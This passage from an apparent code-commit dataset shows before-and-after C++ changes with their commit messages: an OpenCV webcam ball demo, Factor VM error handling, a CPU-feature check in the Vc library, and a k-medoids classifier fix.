drawCircle(fgMaskMOG,pt);\/\/for testing\n        imshow(win, fgMaskMOG);\/\/for testing\n\n        \/\/ drawCircle(outFrame,pt);\/\/The real one\n        \/\/ imshow(win, outFrame);\/\/The real one\n\n        if (waitKey(1) >= 0) \/\/ wait up to 30 msec\n\t        break;\n    }\n\n    return 0;\n}\n\n\/*\n    Mat BGRChannels[3];\n    split(outFrame,BGRChannels); \/\/ split the BGR channesl\n    BGRChannels[1]=Mat::zeros(outFrame.rows,outFrame.cols,CV_8UC1);\/\/ removing Green channel\n    merge(BGRChannels,3,outFrame); \/\/ pack the image\n\n    waitKey(0);\n*\/\n<commit_msg>Added thresholding to outFrame. Less noise now.<commit_after>\/*\n * Joey Button\n *\n *\n *\/\n\n#include <stdio.h>\n#include <opencv2\/video\/background_segm.hpp>\n#include \"opencv2\/opencv.hpp\"\n\n\/\/ #include <iostream>\n\/\/ #include <sstream>\n\n\n\nusing namespace cv;\nusing namespace std;\n#define RADIUS 32\n#define THRESH 240.0f\n\n\n\nMat fgMaskMOG; \/\/fg mask generated by MOG method\n\nBackgroundSubtractorMOG2 MOG;\n\nconst char *win = \"video\";\n\n\nvoid drawCircle(Mat img, Point center)\n{\n    int thickness = -1;\n    int lineType = 8;\n\n    circle( img,\n            center,\n            RADIUS,\n            Scalar( 255, 255, 255 ),\n            thickness,\n            lineType);\n}\n\nvoid calcDir(Point *momentum, Point *pt, int height){\n      pt->x += momentum->x;\n      pt->y += momentum->y;\n\n\n      if (pt->y < height) {\n           \/\/ Accelerate due to Gravity\n          momentum->y += 1;\n      } else {\n          momentum->x = momentum->x * 0.9;\n          momentum->y = -(momentum->y * .5);   \/\/ bounce back up and halt it\n          pt->y = height;\n      }\n\n      \/\/off the top\n      if (pt->y < RADIUS) {\n            pt->y=RADIUS;\n            momentum->y += 1;\n            momentum->y = -(momentum->y * .5);\n            momentum->x = momentum->x *0.9;\n      }\n\n      if (momentum->y * momentum->y <= 49 && pt->y > height){\n          momentum->y = 0;\n      }\n\n}\n\nint main()\n{\n    int cam = 0; \/\/ default camera\n    VideoCapture cap(cam);\n    if (!cap.isOpened()) {\n        fprintf(stderr, \"cannot open camera %d\\n\", cam);\n        exit(1);\n    }\n\n    \/\/ namedWindow(win);\n    namedWindow(win, 1);\n    Mat inputFrame, outFrame;\n    Point pt;\n    pt.x = 500;\n    pt.y = 0;\n\n    Point momentum;\n    momentum.x = 0;\n    momentum.y = 100;\n\n    int count = 0;\n\n    cap >> inputFrame;\n    cvtColor(inputFrame, outFrame, CV_LOAD_IMAGE_COLOR);\n\n    int height = inputFrame.rows - 2 * RADIUS;\n    \/\/ int width = inputFrame.cols - 2 * RADIUS;\n    \n    Mat mask;\n    \n    while (++count) {\n        cap >> inputFrame;\n\n        calcDir(&momentum, &pt, height);\n        \n        MOG(inputFrame, fgMaskMOG);\n\n\n        \/\/ EVERYTHING ABOVE THIS SHOULD BE CALCULATING WHERE TO DRAW\n\n        \/\/ EVERYTHING BELOW THIS LINE SHOULD BE DRAWING THE outFrame\n        outFrame.setTo(Scalar(0,0,0));      \/\/ set all of outFrame to be black\n        mask = fgMaskMOG > THRESH;            \/\/ have to put here otherwise floating point exception \n        outFrame.setTo(Scalar(255, 255, 255), mask);\n        \n        \n        drawCircle(outFrame, pt);           \/\/ The real one\n        imshow(win, outFrame);              \/\/ The real one\n\n        if (waitKey(1) >= 0) \/\/ wait up to 30 msec\n\t        break;\n    }\n\n    return 0;\n}\n\n\/*\n    Mat BGRChannels[3];\n    split(outFrame,BGRChannels); \/\/ split the BGR channesl\n    BGRChannels[1]=Mat::zeros(outFrame.rows,outFrame.cols,CV_8UC1);\/\/ removing Green channel\n    merge(BGRChannels,3,outFrame); \/\/ pack the image\n\n    waitKey(0);\n*\/\n<|endoftext|>"}
{"text":"<commit_before>#include \"master.hpp\"\n\nnamespace factor {\n\nbool factor_vm::fatal_erroring_p;\n\nstatic inline void fa_diddly_atal_error() {\n  printf(\"fatal_error in fatal_error!\\n\");\n  breakpoint();\n  ::_exit(86);\n}\n\nvoid fatal_error(const char* msg, cell tagged) {\n  if (factor_vm::fatal_erroring_p)\n    fa_diddly_atal_error();\n\n  factor_vm::fatal_erroring_p = true;\n\n  std::cout << \"fatal_error: \" << msg;\n  std::cout << \": \" << (void*)tagged;\n  std::cout << std::endl;\n  abort();\n}\n\nvoid critical_error(const char* msg, cell tagged) {\n  std::cout << \"You have triggered a bug in Factor. Please report.\\n\";\n  std::cout << \"critical_error: \" << msg;\n  std::cout << \": \" << std::hex << tagged << std::dec;\n  std::cout << std::endl;\n  current_vm()->factorbug();\n}\n\nvoid out_of_memory() {\n  std::cout << \"Out of memory\\n\\n\";\n  current_vm()->dump_generations();\n  abort();\n}\n\n\/* Allocates memory *\/\nvoid factor_vm::general_error(vm_error_type error, cell arg1_, cell arg2_) {\n\n  \/* If we got here from memory_protection_error(), then the stack\n     pointer has been fiddled with and the elements of these vectors,\n     which address stack-allocated objects, are bogus and needs to be\n     resetted. *\/\n  data_roots.clear();\n  bignum_roots.clear();\n  code_roots.clear();\n\n  data_root<object> arg1(arg1_, this);\n  data_root<object> arg2(arg2_, this);\n\n  faulting_p = true;\n\n  \/* If we had an underflow or overflow, data or retain stack\n     pointers might be out of bounds, so fix them before allocating\n     anything *\/\n  ctx->fix_stacks();\n\n  \/* If error was thrown during heap scan, we re-enable the GC *\/\n  gc_off = false;\n\n  \/* If the error handler is set, we rewind any C stack frames and\n     pass the error to user-space. *\/\n  if (!current_gc && to_boolean(special_objects[ERROR_HANDLER_QUOT])) {\n#ifdef FACTOR_DEBUG\n    \/* Doing a GC here triggers all kinds of funny errors *\/\n    primitive_compact_gc();\n#endif\n\n    \/* Now its safe to allocate and GC *\/\n    cell error_object =\n        allot_array_4(special_objects[OBJ_ERROR], tag_fixnum(error),\n                      arg1.value(), arg2.value());\n\n    ctx->push(error_object);\n\n    \/* The unwind-native-frames subprimitive will clear faulting_p\n       if it was successfully reached. *\/\n    unwind_native_frames(special_objects[ERROR_HANDLER_QUOT],\n                         ctx->callstack_top);\n  } \/* Error was thrown in early startup before error handler is set, so just\n       crash. *\/\n  else {\n    std::cout << \"You have triggered a bug in Factor. Please report.\\n\";\n    std::cout << \"error: \" << error << std::endl;\n    std::cout << \"arg 1: \";\n    print_obj(arg1.value());\n    std::cout << std::endl;\n    std::cout << \"arg 2: \";\n    print_obj(arg2.value());\n    std::cout << std::endl;\n    factorbug();\n    abort();\n  }\n}\n\nvoid factor_vm::type_error(cell type, cell tagged) {\n  general_error(ERROR_TYPE, tag_fixnum(type), tagged);\n}\n\nvoid factor_vm::not_implemented_error() {\n  general_error(ERROR_NOT_IMPLEMENTED, false_object, false_object);\n}\n\nvoid factor_vm::verify_memory_protection_error(cell addr) {\n  \/* Called from the OS-specific top halves of the signal handlers to\n     make sure it's safe to dispatch to memory_protection_error *\/\n  if (fatal_erroring_p)\n    fa_diddly_atal_error();\n  if (faulting_p && !code->safepoint_p(addr))\n    fatal_error(\"Double fault\", addr);\n  else if (fep_p)\n    fatal_error(\"Memory protection fault during low-level debugger\", addr);\n  else if (atomic::load(&current_gc_p))\n    fatal_error(\"Memory protection fault during gc\", addr);\n}\n\n\/* Allocates memory *\/\nvoid factor_vm::memory_protection_error(cell pc, cell addr) {\n  if (code->safepoint_p(addr))\n    safepoint.handle_safepoint(this, pc);\n  else if (ctx->datastack_seg->underflow_p(addr))\n    general_error(ERROR_DATASTACK_UNDERFLOW, false_object, false_object);\n  else if (ctx->datastack_seg->overflow_p(addr))\n    general_error(ERROR_DATASTACK_OVERFLOW, false_object, false_object);\n  else if (ctx->retainstack_seg->underflow_p(addr))\n    general_error(ERROR_RETAINSTACK_UNDERFLOW, false_object, false_object);\n  else if (ctx->retainstack_seg->overflow_p(addr))\n    general_error(ERROR_RETAINSTACK_OVERFLOW, false_object, false_object);\n  else if (ctx->callstack_seg->underflow_p(addr))\n    general_error(ERROR_CALLSTACK_OVERFLOW, false_object, false_object);\n  else if (ctx->callstack_seg->overflow_p(addr))\n    general_error(ERROR_CALLSTACK_UNDERFLOW, false_object, false_object);\n  else\n    general_error(ERROR_MEMORY, from_unsigned_cell(addr), false_object);\n}\n\n\/* Allocates memory *\/\nvoid factor_vm::signal_error(cell signal) {\n  general_error(ERROR_SIGNAL, from_unsigned_cell(signal), false_object);\n}\n\nvoid factor_vm::divide_by_zero_error() {\n  general_error(ERROR_DIVIDE_BY_ZERO, false_object, false_object);\n}\n\nvoid factor_vm::fp_trap_error(unsigned int fpu_status) {\n  general_error(ERROR_FP_TRAP, tag_fixnum(fpu_status), false_object);\n}\n\n\/* For testing purposes *\/\nvoid factor_vm::primitive_unimplemented() { not_implemented_error(); }\n\nvoid factor_vm::memory_signal_handler_impl() {\n  memory_protection_error(signal_fault_pc, signal_fault_addr);\n  if (!signal_resumable) {\n    \/* In theory we should only get here if the callstack overflowed during a\n       safepoint *\/\n    general_error(ERROR_CALLSTACK_OVERFLOW, false_object, false_object);\n  }\n}\n\nvoid memory_signal_handler_impl() {\n  current_vm()->memory_signal_handler_impl();\n}\n\nvoid factor_vm::synchronous_signal_handler_impl() {\n  signal_error(signal_number);\n}\n\nvoid synchronous_signal_handler_impl() {\n  current_vm()->synchronous_signal_handler_impl();\n}\n\nvoid factor_vm::fp_signal_handler_impl() {\n  \/* Clear pending exceptions to avoid getting stuck in a loop *\/\n  set_fpu_state(get_fpu_state());\n\n  fp_trap_error(signal_fpu_status);\n}\n\nvoid fp_signal_handler_impl() { current_vm()->fp_signal_handler_impl(); }\n}\n<commit_msg>VM: data_roots must be empty before unwind_native_frames is called because it doesn't return<commit_after>#include \"master.hpp\"\n\nnamespace factor {\n\nbool factor_vm::fatal_erroring_p;\n\nstatic inline void fa_diddly_atal_error() {\n  printf(\"fatal_error in fatal_error!\\n\");\n  breakpoint();\n  ::_exit(86);\n}\n\nvoid fatal_error(const char* msg, cell tagged) {\n  if (factor_vm::fatal_erroring_p)\n    fa_diddly_atal_error();\n\n  factor_vm::fatal_erroring_p = true;\n\n  std::cout << \"fatal_error: \" << msg;\n  std::cout << \": \" << (void*)tagged;\n  std::cout << std::endl;\n  abort();\n}\n\nvoid critical_error(const char* msg, cell tagged) {\n  std::cout << \"You have triggered a bug in Factor. Please report.\\n\";\n  std::cout << \"critical_error: \" << msg;\n  std::cout << \": \" << std::hex << tagged << std::dec;\n  std::cout << std::endl;\n  current_vm()->factorbug();\n}\n\nvoid out_of_memory() {\n  std::cout << \"Out of memory\\n\\n\";\n  current_vm()->dump_generations();\n  abort();\n}\n\n\/* Allocates memory *\/\nvoid factor_vm::general_error(vm_error_type error, cell arg1_, cell arg2_) {\n\n  \/* If we got here from memory_protection_error(), then the stack\n     pointer has been fiddled with and the elements of these vectors,\n     which address stack-allocated objects, are bogus and needs to be\n     resetted. *\/\n  data_roots.clear();\n  bignum_roots.clear();\n  code_roots.clear();\n\n  data_root<object> arg1(arg1_, this);\n  data_root<object> arg2(arg2_, this);\n\n  faulting_p = true;\n\n  \/* If we had an underflow or overflow, data or retain stack\n     pointers might be out of bounds, so fix them before allocating\n     anything *\/\n  ctx->fix_stacks();\n\n  \/* If error was thrown during heap scan, we re-enable the GC *\/\n  gc_off = false;\n\n  \/* If the error handler is set, we rewind any C stack frames and\n     pass the error to user-space. *\/\n  if (!current_gc && to_boolean(special_objects[ERROR_HANDLER_QUOT])) {\n#ifdef FACTOR_DEBUG\n    \/* Doing a GC here triggers all kinds of funny errors *\/\n    primitive_compact_gc();\n#endif\n\n    \/* Now its safe to allocate and GC *\/\n    cell error_object =\n        allot_array_4(special_objects[OBJ_ERROR], tag_fixnum(error),\n                      arg1.value(), arg2.value());\n    ctx->push(error_object);\n\n    \/* Clear the data roots again since arg1 and arg2's destructors\n       won't be called. *\/\n    data_roots.clear();\n\n    \/* The unwind-native-frames subprimitive will clear faulting_p\n       if it was successfully reached. *\/\n    unwind_native_frames(special_objects[ERROR_HANDLER_QUOT],\n                         ctx->callstack_top);\n  } \/* Error was thrown in early startup before error handler is set, so just\n       crash. *\/\n  else {\n    std::cout << \"You have triggered a bug in Factor. Please report.\\n\";\n    std::cout << \"error: \" << error << std::endl;\n    std::cout << \"arg 1: \";\n    print_obj(arg1.value());\n    std::cout << std::endl;\n    std::cout << \"arg 2: \";\n    print_obj(arg2.value());\n    std::cout << std::endl;\n    factorbug();\n    abort();\n  }\n}\n\nvoid factor_vm::type_error(cell type, cell tagged) {\n  general_error(ERROR_TYPE, tag_fixnum(type), tagged);\n}\n\nvoid factor_vm::not_implemented_error() {\n  general_error(ERROR_NOT_IMPLEMENTED, false_object, false_object);\n}\n\nvoid factor_vm::verify_memory_protection_error(cell addr) {\n  \/* Called from the OS-specific top halves of the signal handlers to\n     make sure it's safe to dispatch to memory_protection_error *\/\n  if (fatal_erroring_p)\n    fa_diddly_atal_error();\n  if (faulting_p && !code->safepoint_p(addr))\n    fatal_error(\"Double fault\", addr);\n  else if (fep_p)\n    fatal_error(\"Memory protection fault during low-level debugger\", addr);\n  else if (atomic::load(&current_gc_p))\n    fatal_error(\"Memory protection fault during gc\", addr);\n}\n\n\/* Allocates memory *\/\nvoid factor_vm::memory_protection_error(cell pc, cell addr) {\n  if (code->safepoint_p(addr))\n    safepoint.handle_safepoint(this, pc);\n  else if (ctx->datastack_seg->underflow_p(addr))\n    general_error(ERROR_DATASTACK_UNDERFLOW, false_object, false_object);\n  else if (ctx->datastack_seg->overflow_p(addr))\n    general_error(ERROR_DATASTACK_OVERFLOW, false_object, false_object);\n  else if (ctx->retainstack_seg->underflow_p(addr))\n    general_error(ERROR_RETAINSTACK_UNDERFLOW, false_object, false_object);\n  else if (ctx->retainstack_seg->overflow_p(addr))\n    general_error(ERROR_RETAINSTACK_OVERFLOW, false_object, false_object);\n  else if (ctx->callstack_seg->underflow_p(addr))\n    general_error(ERROR_CALLSTACK_OVERFLOW, false_object, false_object);\n  else if (ctx->callstack_seg->overflow_p(addr))\n    general_error(ERROR_CALLSTACK_UNDERFLOW, false_object, false_object);\n  else\n    general_error(ERROR_MEMORY, from_unsigned_cell(addr), false_object);\n}\n\n\/* Allocates memory *\/\nvoid factor_vm::signal_error(cell signal) {\n  general_error(ERROR_SIGNAL, from_unsigned_cell(signal), false_object);\n}\n\nvoid factor_vm::divide_by_zero_error() {\n  general_error(ERROR_DIVIDE_BY_ZERO, false_object, false_object);\n}\n\nvoid factor_vm::fp_trap_error(unsigned int fpu_status) {\n  general_error(ERROR_FP_TRAP, tag_fixnum(fpu_status), false_object);\n}\n\n\/* For testing purposes *\/\nvoid factor_vm::primitive_unimplemented() { not_implemented_error(); }\n\nvoid factor_vm::memory_signal_handler_impl() {\n  memory_protection_error(signal_fault_pc, signal_fault_addr);\n  if (!signal_resumable) {\n    \/* In theory we should only get here if the callstack overflowed during a\n       safepoint *\/\n    general_error(ERROR_CALLSTACK_OVERFLOW, false_object, false_object);\n  }\n}\n\nvoid memory_signal_handler_impl() {\n  current_vm()->memory_signal_handler_impl();\n}\n\nvoid factor_vm::synchronous_signal_handler_impl() {\n  signal_error(signal_number);\n}\n\nvoid synchronous_signal_handler_impl() {\n  current_vm()->synchronous_signal_handler_impl();\n}\n\nvoid factor_vm::fp_signal_handler_impl() {\n  \/* Clear pending exceptions to avoid getting stuck in a loop *\/\n  set_fpu_state(get_fpu_state());\n\n  fp_trap_error(signal_fpu_status);\n}\n\nvoid fp_signal_handler_impl() { current_vm()->fp_signal_handler_impl(); }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*  This file is part of the Vc library.\n\n    Copyright (C) 2010 Matthias Kretz <kretz@kde.org>\n\n    Vc is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Lesser General Public License as\n    published by the Free Software Foundation, either version 3 of\n    the License, or (at your option) any later version.\n\n    Vc is distributed in the hope that it will be useful, but\n    WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with Vc.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#include \"support.h\"\n#include \"..\/cpuid.h\"\n\nnamespace Vc\n{\n\nbool isImplementationSupported(Implementation impl)\n{\n    \/\/ for AVX we need to check for OSXSAVE and AVX\n\n    switch (impl) {\n    case ScalarImpl:\n        return true;\n    case SSE2Impl:\n        return CpuId::hasSse2();\n    case SSE3Impl:\n        return CpuId::hasSse3();\n    case SSSE3Impl:\n        return CpuId::hasSsse3();\n    case SSE41Impl:\n        return CpuId::hasSse41();\n    case SSE42Impl:\n        return CpuId::hasSse42();\n    case SSE4aImpl:\n        return CpuId::hasSse4a();\n    case AVXImpl:\n        if (CpuId::hasOsxsave() && CpuId::hasAvx()) {\n            unsigned int eax;\n#ifdef _MSC_VER\n\t\t\t\/\/ MSVC does not support inline assembly on 64 bit! :( And searching the help for xgetbv doesn't turn up anything. So just fall back to not supporting AVX on Windows :(\n\t\t\treturn false;\n#else\n            asm(\"xgetbv\" : \"=a\"(eax) :: \"edx\");\n            return (eax & 0x06) == 0x06;\n#endif\n        }\n        return false;\n    case LRBniImpl:\n        \/\/ TODO\n        return false;\n    case LRBniPrototypeImpl:\n        return true;\n    }\n    return false;\n}\n\n} \/\/ namespace Vc\n\n\/\/ vim: sw=4 sts=4 et tw=100\n<commit_msg>variable eax is only used in the real code<commit_after>\/*  This file is part of the Vc library.\n\n    Copyright (C) 2010 Matthias Kretz <kretz@kde.org>\n\n    Vc is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Lesser General Public License as\n    published by the Free Software Foundation, either version 3 of\n    the License, or (at your option) any later version.\n\n    Vc is distributed in the hope that it will be useful, but\n    WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with Vc.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#include \"support.h\"\n#include \"..\/cpuid.h\"\n\nnamespace Vc\n{\n\nbool isImplementationSupported(Implementation impl)\n{\n    \/\/ for AVX we need to check for OSXSAVE and AVX\n\n    switch (impl) {\n    case ScalarImpl:\n        return true;\n    case SSE2Impl:\n        return CpuId::hasSse2();\n    case SSE3Impl:\n        return CpuId::hasSse3();\n    case SSSE3Impl:\n        return CpuId::hasSsse3();\n    case SSE41Impl:\n        return CpuId::hasSse41();\n    case SSE42Impl:\n        return CpuId::hasSse42();\n    case SSE4aImpl:\n        return CpuId::hasSse4a();\n    case AVXImpl:\n        if (CpuId::hasOsxsave() && CpuId::hasAvx()) {\n#ifdef _MSC_VER\n\t\t\t\/\/ MSVC does not support inline assembly on 64 bit! :( And searching the help for xgetbv doesn't turn up anything. So just fall back to not supporting AVX on Windows :(\n\t\t\treturn false;\n#else\n            unsigned int eax;\n            asm(\"xgetbv\" : \"=a\"(eax) :: \"edx\");\n            return (eax & 0x06) == 0x06;\n#endif\n        }\n        return false;\n    case LRBniImpl:\n        \/\/ TODO\n        return false;\n    case LRBniPrototypeImpl:\n        return true;\n    }\n    return false;\n}\n\n} \/\/ namespace Vc\n\n\/\/ vim: sw=4 sts=4 et tw=100\n<|endoftext|>"}
{"text":"<commit_before>\/* The following applies to this software package and all subparts therein\n *\n * Cognosco Copyright (C) 2015 Philip J. Uren\n *\n * This library is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation; either version 2.1 of the License, or (at\n * your option) any later version.\n *\n * This library is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public\n * License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this library; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n\/\/ stl includes\n#include <string>\n#include <vector>\n\n\/\/ local includes\n#include \"Dataset.hpp\"\n#include \"KMedoids.hpp\"\n#include \"KMedoidsClassifier.hpp\"\n#include \"DistanceMatrix.hpp\"\n\n\/\/ bring these names into the local namespace\nusing std::string;\nusing std::vector;\nusing std::set;\n\n\n\/*****************************************************************************\n *                              UI DEFINITION                                *\n *****************************************************************************\/\n\nstatic CommandlineInterface\nget_cli() {\n  const size_t MIN_ARGS = 0;\n  const size_t MAX_ARGS = 0;\n  const string about = \"about kmeds classifier...\";\n\n  CommandlineInterface cli (\"KMedoidsClassifier\", about, MIN_ARGS, MAX_ARGS);\n  cli.add_boolean_option(\"verbose\", 'v', \"output additional status messages \"\n                         \"during run to stderr\", false);\n  cli.add_string_option(\"name-attribute\", 'n', \"the attribute which provides \"\n                        \"the name of the instances\");\n  cli.add_size_option(\"k\", 'k', \"number of clusters to use\", 2);\n  return cli;\n}\n\n\/*****************************************************************************\n *                         STATIC HELPER FUNCTIONS                           *\n *****************************************************************************\/\n\n\/**\n * convert a dataset that gives the distance\n * Instances in the intial dataset have  N + 2 attributes, where N of these\n * are distances to the other N instances in the dataset and the extra two are\n * the name of the instance and the class. The names must match the attributes.\n * A new dataset is constructed where each instance is described only by the\n * attributes named in medoids.\n *\/\nstatic void\nbuild_new_dataset(const Dataset &exist_ds, Dataset &new_ds,\n                  const set<string> &medoids,\n                  const set<size_t> &ignore_inst_ids,\n                  const string &inst_name_att_name) {\n  new_ds = Dataset(exist_ds, ignore_inst_ids);\n\n  vector<string> att_names;\n  for (auto it = new_ds.begin_attributes(); it != new_ds.end_attributes(); ++it) {\n    Attribute* att_ptr = (*it);\n    att_names.push_back(att_ptr->get_name());\n  }\n\n  for (auto name : att_names) {\n    if (std::find(medoids.begin(), medoids.end(), name) == medoids.end())\n      new_ds.delete_attribute(name);\n  }\n}\n\n\n\/*****************************************************************************\n *                       Classifiers::KMedoids CLASS                         *\n *****************************************************************************\/\n\nstring\nClassifiers::KMedoids::to_string() const {\n  std::stringstream ss;\n  ss << \"KMedoids classifier constructed using \" << this->name_att\n     << \" as names; learned medoids as \" << join(this->medoid_names, \", \")\n     << \"and nb classifier as \" << this->nb_classifier.to_string();\n  return ss.str();\n}\n\nvoid\nClassifiers::KMedoids::learn(const Dataset &train_instances,\n                             const string &class_label,\n                             const std::set<size_t> &ignore_inst_ids) {\n  \/\/ convert the dataset into a distance matrix\n  std::cerr << \"building distance matrix \" << std::endl;\n  DistanceMatrix m;\n  size_t skipped = 0;\n  std::set<string> inst_ids_set;\n  for (auto it = train_instances.begin(); it != train_instances.end(); ++it) {\n    if (ignore_inst_ids.find(it->get_instance_id()) != ignore_inst_ids.end()) {\n      skipped += 1;\n      continue;\n    }\n    string name_att_val = it->get_att_occurrence(this->name_att)->get_attribute_name();\n    for (auto ait = it->begin(); ait != it->end(); ++ait) {\n      AttributeOccurrence* aoc_ptr = (*ait);\n      m[std::make_pair(aoc_ptr->get_attribute_name(), name_att_val)] =\\\n        ((*aoc_ptr) * 1.0);\n      inst_ids_set.insert(aoc_ptr->get_attribute_name());\n    }\n  }\n\n  \/\/ perform k-medoids clustering on the distance matrix\n  std::cerr << \"perform clustering \" << std::endl;\n  vector<string> inst_ids;\n  std::copy(inst_ids_set.begin(), inst_ids_set.end(), std::back_inserter(inst_ids));\n  KMedoidsClusterer clstr(2, m, inst_ids);\n  clstr.train();\n  this->medoid_names = clstr.get_medoids();\n\n  \/\/ build new dataset characterized by distance to the medoids from\n  \/\/ the clustering\n  std::cerr << \"transofrm dataset \" << std::endl;\n  Dataset nds;\n  build_new_dataset(train_instances, nds, this->medoid_names,\n                    ignore_inst_ids, this->name_att);\n\n  \/\/ build a NB classifier from the new instances\n  std::cerr << \"build nb classifier \" << std::endl;\n  this->nb_classifier.learn(nds, class_label);\n}\n\n\n\/**\n * \\brief compute the probability that a given Instance belongs to a given\n *        class using this classifier.\n *\/\ndouble\nClassifiers::KMedoids::class_probability(const Instance &test_instance,\n                                         const string &class_label) const {\n  Instance t_cp(test_instance); \/\/ !!!!!!!!!! make sure copy constructor is set up for instance!!!\n  vector<string> att_names;\n  for (auto it = t_cp.begin(); it != t_cp.end(); ++it) {\n    AttributeOccurrence *att_oc_ptr = (*it);\n    att_names.push_back(att_oc_ptr->get_attribute_name());\n  }\n  for (auto it = att_names.begin(); it != att_names.end(); ++it) {\n    if (this->medoid_names.find(*it) == this->medoid_names.end())\n      t_cp.delete_attribute_occurrence(*it);\n  }\n\n  return this->nb_classifier.class_probability(t_cp, class_label);\n}\n\nstd::string\nClassifiers::KMedoids::usage() const {\n  std::stringstream ss;\n  ss << \"KMedoidsClassifier specific options\" << std::endl;\n  ss << get_cli().usage() << std::endl;\n  return ss.str();\n}\n\nvoid\nClassifiers::KMedoids::set_classifier_specific_options(Commandline &cmdline) {\n  CommandlineInterface cli (get_cli());\n  cli.consume('n', cmdline, this->name_att);\n  cli.consume('k', cmdline, this->k);\n}\n\nvoid\nClassifiers::KMedoids::clear() {\n  this->nb_classifier.clear();\n  this->medoid_names.clear();\n}\n<commit_msg>fix bug when building distance matrix for kmedoids classifier where class and isntance name attribtues where not skipped in distance claculation<commit_after>\/* The following applies to this software package and all subparts therein\n *\n * Cognosco Copyright (C) 2015 Philip J. Uren\n *\n * This library is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation; either version 2.1 of the License, or (at\n * your option) any later version.\n *\n * This library is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public\n * License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this library; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n\/\/ stl includes\n#include <string>\n#include <vector>\n\n\/\/ local includes\n#include \"Dataset.hpp\"\n#include \"KMedoids.hpp\"\n#include \"KMedoidsClassifier.hpp\"\n#include \"DistanceMatrix.hpp\"\n\n\/\/ bring these names into the local namespace\nusing std::string;\nusing std::vector;\nusing std::set;\n\n\n\/*****************************************************************************\n *                              UI DEFINITION                                *\n *****************************************************************************\/\n\nstatic CommandlineInterface\nget_cli() {\n  const size_t MIN_ARGS = 0;\n  const size_t MAX_ARGS = 0;\n  const string about = \"about kmeds classifier...\";\n\n  CommandlineInterface cli (\"KMedoidsClassifier\", about, MIN_ARGS, MAX_ARGS);\n  cli.add_boolean_option(\"verbose\", 'v', \"output additional status messages \"\n                         \"during run to stderr\", false);\n  cli.add_string_option(\"name-attribute\", 'n', \"the attribute which provides \"\n                        \"the name of the instances\");\n  cli.add_size_option(\"k\", 'k', \"number of clusters to use\", 2);\n  return cli;\n}\n\n\/*****************************************************************************\n *                         STATIC HELPER FUNCTIONS                           *\n *****************************************************************************\/\n\n\/**\n * convert a dataset that gives the distance\n * Instances in the intial dataset have  N + 2 attributes, where N of these\n * are distances to the other N instances in the dataset and the extra two are\n * the name of the instance and the class. The names must match the attributes.\n * A new dataset is constructed where each instance is described only by the\n * attributes named in medoids.\n *\/\nstatic void\nbuild_new_dataset(const Dataset &exist_ds, Dataset &new_ds,\n                  const set<string> &medoids,\n                  const set<size_t> &ignore_inst_ids,\n                  const string &inst_name_att_name) {\n  new_ds = Dataset(exist_ds, ignore_inst_ids);\n\n  vector<string> att_names;\n  for (auto it = new_ds.begin_attributes(); it != new_ds.end_attributes(); ++it) {\n    Attribute* att_ptr = (*it);\n    att_names.push_back(att_ptr->get_name());\n  }\n\n  for (auto name : att_names) {\n    if (std::find(medoids.begin(), medoids.end(), name) == medoids.end())\n      new_ds.delete_attribute(name);\n  }\n}\n\n\n\/*****************************************************************************\n *                       Classifiers::KMedoids CLASS                         *\n *****************************************************************************\/\n\nstring\nClassifiers::KMedoids::to_string() const {\n  std::stringstream ss;\n  ss << \"KMedoids classifier constructed using \" << this->name_att\n     << \" as names; learned medoids as \" << join(this->medoid_names, \", \")\n     << \"and nb classifier as \" << this->nb_classifier.to_string();\n  return ss.str();\n}\n\nvoid\nClassifiers::KMedoids::learn(const Dataset &train_instances,\n                             const string &class_label,\n                             const std::set<size_t> &ignore_inst_ids) {\n  \/\/ convert the dataset into a distance matrix\n  std::cerr << \"building distance matrix \" << std::endl;\n  DistanceMatrix m;\n  size_t skipped = 0;\n  std::set<string> inst_ids_set;\n  for (auto it = train_instances.begin(); it != train_instances.end(); ++it) {\n    if (ignore_inst_ids.find(it->get_instance_id()) != ignore_inst_ids.end()) {\n      skipped += 1;\n      continue;\n    }\n    std::cerr << \"looking for \" << this->name_att << std::endl;\n    for (auto xx = it->begin(); xx != it->end(); ++xx) {\n      std::cerr << (*xx)->get_attribute_name() << std::endl;\n    }\n    string name_att_val = it->get_att_occurrence(this->name_att)->get_attribute_name();\n    for (auto ait = it->begin(); ait != it->end(); ++ait) {\n      AttributeOccurrence* aoc_ptr = (*ait);\n      const string this_att_name(aoc_ptr->get_attribute_name());\n\n      \/\/ skip class and name attributes\n      if ((this_att_name == class_label) || (this_att_name == this->name_att))\n        continue;\n\n      std::cerr << \"doing '\" << this_att_name << \"'\" << std::endl;\n      m[std::make_pair(aoc_ptr->get_attribute_name(), name_att_val)] =\\\n        ((*aoc_ptr) * 1.0);\n      inst_ids_set.insert(aoc_ptr->get_attribute_name());\n    }\n  }\n\n  \/\/ perform k-medoids clustering on the distance matrix\n  std::cerr << \"perform clustering \" << std::endl;\n  vector<string> inst_ids;\n  std::copy(inst_ids_set.begin(), inst_ids_set.end(), std::back_inserter(inst_ids));\n  